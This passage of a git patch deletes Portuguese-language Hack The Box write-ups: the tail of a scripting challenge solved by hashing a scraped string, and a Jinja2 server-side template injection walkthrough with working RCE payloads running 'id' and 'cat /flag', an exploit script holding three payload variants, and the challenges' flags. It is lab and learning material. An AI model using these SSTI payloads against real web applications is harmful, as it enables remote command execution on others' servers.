BeautifulSoup - -TARGET = "http://127.0.0.1:1337" - -session = requests.Session() - -# 1. GET para obter a string e o cookie de sessão -r = session.get(TARGET) -soup = BeautifulSoup(r.text, 'html.parser') - -# A string está dentro de uma tag

-string_to_hash = soup.find('h3').text.strip() -print(f"[*] String: {string_to_hash}") - -# 2. Calcular MD5 -md5 = hashlib.md5(string_to_hash.encode()).hexdigest() -print(f"[*] MD5: {md5}") - -# 3. POST com o hash (mesma sessão = mesmo cookie) -r = session.post(TARGET, data={"hash": md5}) -soup = BeautifulSoup(r.text, 'html.parser') - -# Procurar a flag no response -if "HTB{" in r.text: - import re - flag = re.search(r'HTB\{[^}]+\}', r.text).group() - print(f"[+] Flag: {flag}") -else: - print("[-] Falhou:", soup.find('p').text if soup.find('p') else r.text[:200]) -``` - -## Por que Session? - -Sem `requests.Session()`, cada requisição usa cookies diferentes e o servidor não reconhece que o POST veio de quem fez o GET anterior. - -## Flag - -``` -HTB{w3lc0m3_t0_sc1pt1ng} -``` From 459f3e380b4dca85804cd30f2e97250c8d3af4c4 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:59:16 -0300 Subject: [PATCH 11/11] Delete content/challenges/templated.md --- content/challenges/templated.md | 78 --------------------------------- 1 file changed, 78 deletions(-) delete mode 100644 content/challenges/templated.md diff --git a/content/challenges/templated.md b/content/challenges/templated.md deleted file mode 100644 index d4b10e0..0000000 --- a/content/challenges/templated.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: "Templated" -date: 2024-09-05 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 50 -tags: ["web", "ssti", "jinja2", "python", "rce"] -summary: "Flask app vulnerável a Server-Side Template Injection via Jinja2. RCE direto pelo payload {{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}." ---- - -## Análise Inicial - -Site exibe o path da URL diretamente na página. Acessando `/teste`: - -``` -Error 404 - 'teste' not found -``` - -## Testando SSTI - -Payload básico Jinja2: - -``` -/{{7*7}} -``` - -Resposta: - -``` -Error 404 - '49' not found -``` - -**Confirmado: SSTI com Jinja2.** - -## Escalando para RCE - -``` -/{{config.__class__.__init__.__globals__['os'].popen('id').read()}} -``` - -``` -uid=0(root) gid=0(root) groups=0(root) -``` - -Rodando como root. Lendo a flag: - -``` -/{{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}} -``` - -## Script de Exploit - -```python -import requests - -TARGET = "http://127.0.0.1:1337" - -payloads = [ - "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}", - "{{lipsum.__globals__.os.popen('cat /flag').read()}}", - "{{''.__class__.__mro__[1].__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}", -] - -for p in payloads: - r = requests.get(f"{TARGET}/{p}") - if "HTB{" in r.text: - import re - flag = re.search(r'HTB\{[^}]+\}', r.text).group() - print(f"[+] Flag: {flag}") - break -``` - -## Flag - -``` -HTB{t3mpl4t3s_4r3_p0w3rful_b3_c4r3ful} -```